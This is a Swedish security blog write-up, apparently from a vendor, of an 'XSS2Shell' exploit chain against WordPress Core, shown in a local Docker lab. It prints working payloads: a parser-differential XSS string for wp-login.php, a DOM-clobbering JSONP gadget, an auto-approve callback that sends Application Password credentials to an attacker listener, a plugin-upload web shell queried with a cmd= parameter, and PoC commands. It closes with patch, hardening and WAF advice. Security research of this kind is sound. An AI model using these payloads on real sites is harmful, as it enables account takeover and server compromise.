XSS2Shell: Från noll till shell på WordPress

En praktisk genomgång av en XSS-kedja utan autentisering som kan eskalera till fjärrkörning av kod på WordPress Core, demonstrerad i ett lokalt Docker-labb.

Endast auktoriserad testning.

Allt nedan kördes mot ett lokalt labb (WordPress 7.0.2 på localhos). Använd inte dessa tekniker mot system du inte äger eller har uttryckligt tillstånd att testa.

Sammanfattning för ledningen

XSS2Shell är inte en enskild bugg — det är en sju-stegs exploateringskedja som börjar med ett tecken (< följt av ett mellanslag) som kringgår två olika HTML-tolkare på WordPresss inloggningssida, och slutar med PHP som körs på servern som www-data.

Vad som gör det farligt:

  1. Steg 1 kräver ingen autentisering — vem som helst kan utlösa JavaScript på wp-login.php.
  2. Det finns i WordPress Core — inte ett plugin; praktiskt taget alla versioner som stötts sedan 2016 är drabbade.
  3. Det använder WordPresss egen kod — user-profile.js, REST JSONP, Application Passwords, plugin-uppladdning — som gadgets.
  4. Full RCE är demonstrerad och bekräftad av WordPress — även om det kräver att en inloggad administratör luras att klicka en gång.

Den här artikeln går igenom varje steg med skärmdumpar från vårt lokala labb.

Labbmiljön

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Varje WordPress-sida exponerar /wp-login.php. Den sidan är ingångspunkten för hela kedjan.

Steg 0: Parser-differentialen (grundorsak)

När inloggningen misslyckas återger WordPress det angivna användarnamnet i ett felmeddelande. Användarnamnet passerar genom två sanerare som är oense om vad ett "tagg" är:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Nyttolasten använder ett mellanslag efter<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

På sårbar WordPress 7.0.2 överlever detta sanering och blir ett aktivt DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

På patchad WordPress 7.0.4 HTML-escapas samma payload i felmeddelandet — inga aktiva element.

Denna bugg har funnits sedan WordPress 4.7 (2016) och missades av års säkerhetsgranskningar.

Steg 1: XSS utan autentisering (ingen inloggning krävs)

Injicerade DOM-noder matchar selektorer som WordPresss egna user-profile.js letar efter på inloggningssidan (laddas för lösenordsåterställningsflödet):

  1. .reset-pass-submit .wp-generate-pw klickas automatiskt vid sidinläsning
  2. Klicket bubblar till #color-pickers delegerade hanterare
  3. Skyddskontrollen user_id === checkuser_id passerar eftersom båda är undefined
  4. jQuery POST:ar till ajaxurl — men ajaxurl finns inte på inloggningssidan…

Såvida vi inte clobbar den:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elementet <area id=ajaxurl> blir window.ajaxurl. jQuery anropar .toString() → returnerar href. WordPress REST returnerar JSONP → jQuery globalEval() → alert()körs på WordPress-ursprunget.

Stage 1 demo page
Stage 1 demo page

Skicka in formuläret (eller öppna demo/stage1-preauth-xss.html och klicka på Kör steg 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Påverkan i detta steg enbart: autentiseringsfiske på den riktiga domänen, sessionskapning, same-origin API-anrop — utan någon autentisering.

Steg 2: Social ingenjörskonst — adminens klick

Steg 2–7 kräver att en inloggad administratör öppnar en angriparkontrollerad sida. Detta är friktionen som håller CVSS under 10 — men det är realistiskt vid riktade angrepp.

Administratören kan få: "Din session har gått ut — klicka här för att autentisera dig på nytt."

Simulated phishing lure page
Simulated phishing lure page

När man klickar, attackerarsidan:

  1. Öppnar ett barnfönster (about:blank)
  2. Omdirigerar huvudfönstret till WordPress sida för autentisering av applikationslösenord
  3. Skriver ett XSS-formulär till det underordnade popup-fönstret och skickar det automatiskt till wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Steg 3: Same-Origin Method Execution (SOME) — automatiskt godkännande

Det underordnade fönstrets XSS-nyttolast ändrar JSONP-återanropet från alert till:

window.opener.approve.click

WordPress REST omsluter svaret:

/**/window.opener.approve.click({...})

Körtiden löser upp window.opener (överordnat fönster) → .approve (knappen #approve) → .click(). Knappen Godkänn för applikationslösenord klickas automatiskt — utan användarinteraktion på den sidan.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Observera återanrops-URL:en på sidan: inloggningsuppgifterna skickas till http://127.0.0.1:9090/callback?...&password=[------].

Steg 4: Inhämtning av applikationslösenord

WordPress skapar ett nytt applikationslösenord och omdirigerar till angriparens success_url med inloggningsuppgifterna i frågesträngen:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Angriparen har nu HTTP Basic auth-uppgifter för WordPress REST API — från administratörens egen session, utan att administratören behövde skriva in något efter det första länkklicket.

Steg 5: Publicera angriparkontrollerad sida

Med hjälp av det stulna applikationslösenordet skickar angriparen en POST till /wp-json/wp/v2/pages och publicerar en sida med inbäddad JavaScript. Administratörer har behörigheten unfiltered_html — skripttaggar bevaras.

Steg 6: Plugin-uppladdning via adminsession

Angriparens JavaScript (som körs i administratörens webbläsare på den publicerade sidan):

  1. Hämtar /wp-admin/plugin-install.php?tab=upload för uppladdningens nonce
  2. Skickar en POST med en skadlig ZIP till /wp-admin/update.php?action=upload-plugin
  3. WordPress packar upp den till wp-content/plugins/xss2shell/

Pluginet behöver inte aktiveras. PHP-filer i pluginkatalogen är direkt tillgängliga via webben.

Steg 7: Fjärrkörning av kod

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Svar:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Angriparen kan nu köra godtyckliga kommandon som webbserveranvändaren — läsa wp-config.php (databasuppgifter), dumpa databasen och röra sig lateralt.

Fullständig PoC-terminalutdata:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Den fullständiga kedjan i korthet

sequenceDiagram participant A as Angriparserver participant V as Offers webbläsare participant W as WordPress 7.0.2 Note over V,W: Administratören är inloggad V->>A: Öppnar nätfiskelänk (1 klick) A->>V: Angripar-HTML + barnfönster V->>W: Huvudfönster → authorize-application.php V->>W: Barn POSTar XSS-nyttolast till wp-login.php W->>V: JSONP kör window.opener.approve.click Note over V,W: Godkänn-knappen klickas automatiskt W->>A: Omdirigering med applikationslösenord A->>W: REST API publicerar sida (Basic auth) V->>W: Administratören besöker sidan → laddar upp plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Hur farligt är det egentligen?

Vad är garanterat (hög säkerhet)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Vad kräver ytterligare förutsättningar (RCE-väg)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Allvarlighetsgradering

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Sammanfattning: Detta är inte en maskspridningsbar zero-click RCE som Log4Shell. Det är en djupt teknisk sårbarhet på kärnnivå som påverkar ~43 % av webben där:

  • Steg 1 ensamt är en allvarlig pre-auth XSS på inloggningssidan
  • Den fullständiga kedjan omvandlar ett administratörsklick till ett serverintrång
  • Grundorsaken (tolkningsskillnad) gäller för alla kodbaser som använder flera HTML-tolkare

WordPress eget säkerhetsmeddelande anger att RCE kräver "förhållanden utanför angriparens kontroll" och "framgångsrik social manipulation." Det stämmer — men den demonstrerade kedjan gör dessa förhållanden uppnåeliga med en enda länk.

Återskapa hela kedjan lokalt

# 1. Starta labbet make up # 2. Aktivera applikationslösenord på HTTP (endast labb) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Starta PoC-lyssnare python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I webbläsaren: # a. Logga in som administratör på http://localhost:9080/wp-login.php # b. Öppna http://127.0.0.1:9091/phishing-sim.html # c. Klicka på "Öppna angriparsida" (tillåt popup-fönster) # d. Vänta på terminalutdata som visar skal + whoami

Försvar

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Korrigeringen lägger till esc_html() för användarnamnet i inloggningsfelflödet — vilket säkerställer att strängen behandlas som text och inte tolkas om som HTML.

Varför detta är viktigt för säkerhetsforskning

Varje länk i kedjan är individuellt ointressant:

  • Parserskillnad → låg allvarlighetsgrad för underhåll
  • Fel skript laddas på inloggningssidan → låg
  • JSONP-callback validerad med regex → medel
  • Application Password i omdirigerings-URL → medel
  • Plugin-katalogen kör PHP utan aktivering → känd design

Sammansatta är de CVSS 8,9 och ett skal.

Lärdomen: när du bedömer XSS-fynd, fråga "vad är redan laddat på den här sidan, och vad kommer det att göra om jag ger det rätt DOM-noder?" Allvarlighetsgrad är en egenskap hos kedjan, inte den enskilda buggen.

Referenser

Fråga AI om CyberTested

Låt ChatGPT, Gemini, Grok eller Perplexity dela med sig av sina kunskaper. Klicka på en knapp och se vad din favorit-AI har att säga om CyberTested.

Välj region och språk

Region
Språk
Vill du se hur CyberTested fungerar i praktiken?
Boka en kostnadsfri demonstration